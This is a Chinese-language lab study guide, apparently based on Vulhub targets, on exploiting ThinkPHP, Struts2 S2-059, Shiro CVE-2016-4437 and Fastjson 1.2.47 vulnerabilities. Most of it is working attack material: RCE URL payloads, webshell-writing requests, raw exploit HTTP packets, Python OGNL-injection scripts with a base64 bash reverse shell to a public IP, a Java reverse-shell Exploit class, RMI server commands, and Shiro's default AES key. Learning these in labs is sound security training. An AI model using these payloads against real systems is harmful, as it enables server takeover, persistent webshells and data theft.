web应用常见漏洞
<span style="color:red;">红色</span>
学习目标
章节 | 学习目标 |
---|---|
ThinkPHP 远程代码执行 | 掌握 Think php框架 V2.x (和V5.0.20) 远程代码执行漏洞利用方式 |
Stuts2 代码执行漏洞 | 掌握 Stuts2 (CVE-2019-0230) 远程代码执行漏洞的利用方式 |
Shiro 反序列化漏洞 | 掌握 Shiro CVE-2016-4437) 远程代码执行漏洞的利用方式 |
Fastjson 远程代码执行漏洞 | 掌握 fastjson V1.2.47 远程代码执行漏洞的利用方式 |
Thinkphp
2-rce 远程代码执行
POC如下:
http://x.x.x.x:8080/?s=/index/index/name/${@phpinfo()}
http://x.x.x.x:8080/index.php?s=/index/index/name/${system(whoami)}
http://x.x.x.x:8080/?s=a/b/c/${@print(eval($_POST[1]))}
靶场环境搭建
https://vulhub.org/#/environments/thinkphp/2-rce/
docker-compose up -d
直接访问即可
http://x.x.x.x:8080
漏洞简述
ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由:
关键代码如下:
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。
影响范围
ThinkPHP 2.x版本
ThinkPHP 3.0版本因为Lite模式下没有修复该漏洞,也存在这个漏洞。
漏洞复现
打开靶场如上图所示
直接找网上的POC进行测试
POC1:
http://x.x.x.x:8080/?s=/index/index/name/${@phpinfo()}
POC2:
http://x.x.x.x:8080/index.php?s=/index/index/name/${system(whoami)}
POC3:
http://x.x.x.x:8080/?s=a/b/c/${@print(eval($_POST[1]))}
然后利用中国蚁剑连接直接getshell
漏洞分析
存在漏洞的文件位置
/var/www/html/ThinkPHP/Lib/Think/Util/Dispatcher.class.php
漏洞代码位置第102行
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
漏洞代码块
if(!self::routerCheck()){ // 检测路由规则 如果没有则按默认规则调度URL
$paths = explode($depr,trim($_SERVER['PATH_INFO'],'/'));
$var = array();
if (C('APP_GROUP_LIST') && !isset($_GET[C('VAR_GROUP')])){
$var[C('VAR_GROUP')] = in_array(strtolower($paths[0]),explode(',',strtolower(C('APP_GROUP_LIST'))))? array_shift($paths) : '';
if(C('APP_GROUP_DENY') && in_array(strtolower($var[C('VAR_GROUP')]),explode(',',strtolower(C('APP_GROUP_DENY'))))) {
// 禁止直接访问分组
exit;
}
}
if(!isset($_GET[C('VAR_MODULE')])) {// 还没有定义模块名称
$var[C('VAR_MODULE')] = array_shift($paths);
}
$var[C('VAR_ACTION')] = array_shift($paths);
// 解析剩余的URL参数
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
$_GET = array_merge($var,$_GET);
分析
测路由规则 如果没有则按默认规则调度URL,然后解析剩余的URL参数
正则表达式的修饰符/e:只用在preg_replace()函数中,在替换字符串中逆向引用做正常的替换,将其(即“替换字符串”)作为PHP代码求值,并用其结果来替换所搜索的字符串
运行如下代码,报错但是输出被打印出来
5-rce 远程代码执行
POC如下:
http://your-ip:8080/index.php
?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
http://your-ip:8080/index.php
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
http://your-ip:8080/index.php
?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%73%68%65%6c%6c%5d%29%3b%3f%3e
靶场搭建
包含了5.0.22和5.1.29两个版本
靶场环境搭建
https://vulhub.org/#/environments/thinkphp/5-rce/
docker-compose up -d
直接访问即可
http://x.x.x.x:8080
漏洞原因
ThinkPHP是一款运用极广的PHP开发框架。其版本5中,由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下
(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞。
漏洞复现
直接访问http://your-ip:8080/index.php
?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
即可执行phpinfo如下图所示
接着执行如下POC:
index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
写马连接
/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=加你要写入的文件内容url编码
例如写一个 <?php eval($_POST[shell]);?>
然后拼接
/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%73%68%65%6c%6c%5d%29%3b%3f%3e
接着访问此shell.php,成功访问
接着上蚁剑成功getshell
5.0.23 远程代码执行
ThinkPHP是一款运用极广的PHP开发框架。其5.0.23以前的版本中,
获取method的方法中没有正确处理方法名,
导致攻击者可以调用Request类任意方法并构造利用链,
从而导致远程代码执行漏洞。
靶场搭建
靶场环境搭建
https://github.com/vulhub/vulhub/tree/master/thinkphp/5.0.23-rce
docker-compose up -d
漏洞复现
发送如下数据包即可
POST /?s=captcha HTTP/1.1
Host: x.x.x.x:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 72
Content-Type: application/x-www-form-urlencoded
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
POST /index.php?s=captcha HTTP/1.1
Host: localhost
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
成功执行ID命令,说明参数可控,执行任意代码
接着写入一句话木马,
echo "aaa<?php @eval($_POST['msf']);?>bbb" >msf.php
对引号内的一句话进行base64编码,但是经过测试,eval函数注入不了,
需要替换为assert函数
所以一句话木马改为
echo "aaa<?php @assert($_POST['shell']);?>bbb" >shell.php
然后对此一句话木马进行base64编码
最终的payload为
echo -n ImFhYTw/cGhwIEBhc3NlcnQoJF9QT1NUWydzaGVsbCddKTs/PmJiYiI= | base64 -d > shell.php
echo -n "aaa<?php @assert($_POST['shell']);?>bbb" | base64 -d > shell.php
在写入一个phpinfo
echo -n Ijw/cGhwIHBocGluZm8oKTs/PiI= | base64 -d > phpinfo.php
访问shell.php成功回显,说明木马上传成功
接下来上蚁剑直接连接即可
测试多次后发现有时连接不上,有时连接上,就很玄学不知道啥原因,
记得蚁剑编码可以试着换下用chr成功了。
3-框架EXP表达式SQL注入
靶场地址
https://github.com/vulhub/vulhub/blob/master/thinkphp/in-sqlinjection
直接上payload
http://your-ip/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1
爆出数据库配置信息和用户信息。
Stuts2 代码执行
参考博客
https://www.freebuf.com/articles/web/275422.html
漏洞编号
S2-059(CVE-2019-0230)
漏洞简介
Apache Struts框架, 会对某些特定的标签的属性值,比如id属性进行二次解析,
所以攻击者可以传递将在呈现
标签属性时再次解析的OGNL表达式,造成OGNL表达式注入。
从而可能造成远程执行代码。
影响版本
Struts 2.0.0 - 2.5.20
靶场环境
带有漏洞的靶机 | 192.168.1.20 |
---|---|
执行POC的机器 | 192.168.1.32 |
反弹shell的机器 | 139.224.225.64 |
https://github.com/vulhub/vulhub/blob/master/struts2/s2-059
漏洞复现
根据提示输入?id=15-10 发现输入的数据被成功返回但是没有被解析
查找网上公开的payload进行测试 输入?{15-10} 发现直接400报错
将以上输入的payload进行url编码试试,发现成功执行结果
POC1 目标机器创建msf文件
import requests
url = "http://192.168.1.32:8080"
data1 = {
"id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}"}
data2 = {
"id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('touch /tmp/msf'))}"
}
res1 = requests.post(url, data=data1)
# print(res1.text)
res2 = requests.post(url, data=data2)
# print(res2.text)
将以上POC打包为poc1.py然后直接在主机上执行(能访问到url)
目标机查看发现msf文件成功被创建
root@60688fab090e:/tmp# ls
hsperfdata_root msf
root@60688fab090e:/tmp#
POC2 反弹shell
import requests
url = "http://192.168.1.32:8080"
data1 = {
"id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}"
}
data2 = {
"id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMzkuMjI0LjIyNS42NC84MDgxIDA+JjE=}|{base64,-d}|{bash,-i}'))}"
}
res1 = requests.post(url, data=data1)
# print(res1.text)
res2 = requests.post(url, data=data2)
# print(res2.text)
将以上POC打包为poc2.py 然后在主机上执行脚本(能访问到url)
服务器开启8081端口,脚本成功执行时,成功获取shell
在线转码地址: http://www.jackson-t.ca/runtime-exec-payloads.html
bash -i >& /dev/tcp/x.x.x.x/8081 0>&1 反弹shell至x.x.x.x主机的8081端口
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMzkuMjI0LjIyNS42NC84MDgxIDA+JjE=
实验结果成功获取靶机的shell
Shiro 反序列化漏洞
漏洞原理
Shiro提供了记住我(RememberMe)的功能,比如访问淘宝等网站时,
关闭了浏览器下次再打开时还是能够记住上次访问过的用户,
下次访问时无需再登录即可访问
Shiro会对cookie中的Remember me字段进行相关处理:
序列化-->AES加密-->base64编码
由于Shiro本身含有一个预设的AES密钥Base64.decode("KPHblxk5D2deZilxcaaaA=="),每个人都能够通过源代码拿到该密钥,
因此攻击者可以构造一个恶意的对象,对其进行序列化并用该密钥进行加密,
base64编码,最后作为cookie中的Remember me字段发送。
Shiro得到该Remember me字段后进行解码解密并且反序列化,
进而导致任意命令执行
前端----->构造恶意对象然后进行序列化----->AES加密----->base64编码
----->cookie中的Remember me字段发给服务器
后端----->对cookie中的Remember me字段base64解码----->AES解密
----->反序列化
影响版本 Apache Shiro < 1.2.4
靶场 https://github.com/vulhub/vulhub/tree/master/shiro/CVE-2016-4437
漏洞特性
发现网站记住密码的功能,登录抓包在返回包中发现了
rememberMe 的 shiro 特征字段:
漏洞检测
利用ShiroExploit一键利用工具复现
工具地址: https://github.com/feihong-cs/ShiroExploit-Deprecated/releases/tag/v2.51
选择对应的shiro550然后填写靶机地址即可开始自动检测
检测结果如下图所示,成功获取了秘钥,且发现了可利用链
获取shell的话工具有简便操作,直接勾选然后选择反弹的主机IP的端口,对应的主机开启nc监听即可
或者利用bash反弹shell
Fastjson待研究(未完待续)
靶场环境
带有漏洞的靶机kali-vps | 192.168.1.10 |
---|---|
执行反弹shell的机器 | 192.168.1.12 |
启动rmi服务的机器 | 192.168.1.1 |
漏洞原理
参考如下博客
https://github.com/vulhub/vulhub/tree/master/fastjson/1.2.47-rce
https://blog.csdn.net/qq_44159028/article/details/112393935
漏洞复现
编写恶意的java类(反弹shell)
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
public class Exploit{
public Exploit() throws Exception {
Process p = Runtime.getRuntime().exec(new String[]{"bash", "-c", "bash -i >& /dev/tcp/192.168.1.12/6666 0>&1"});
InputStream is = p.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(is));
String line;
while((line = reader.readLine()) != null) {
System.out.println(line);
}
p.waitFor();
is.close();
reader.close();
p.destroy();
}
public static void main(String[] args) throws Exception {
}
}
编译这个文件
javac Exploit.java
出现一个class文件,然后在当前目录下起一个http服务,
并测试能够访问到此文件。
python -m http.server 8080
起一个RMI服务
项目地址:https://github.com/CaijiOrz/fastjson-1.2.47-RCE
使用marshalsec-0.0.3-SNAPSHOT-all.jar起一个RMI服务器,
监听9999端口,并制定加载远程类 Exploit.class
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.1.1:8080/#Exploit" 9999
确保恶意的java类,与启动rmi服务的项目文件在同一文件夹。试着访问下
最后burp抓包发送数据
POST / HTTP/1.1
Host: 192.168.1.10:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 156
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.1.1:9999/Exploit",
"autoCommit":true
}
发送成功后,在反弹shell主机上查看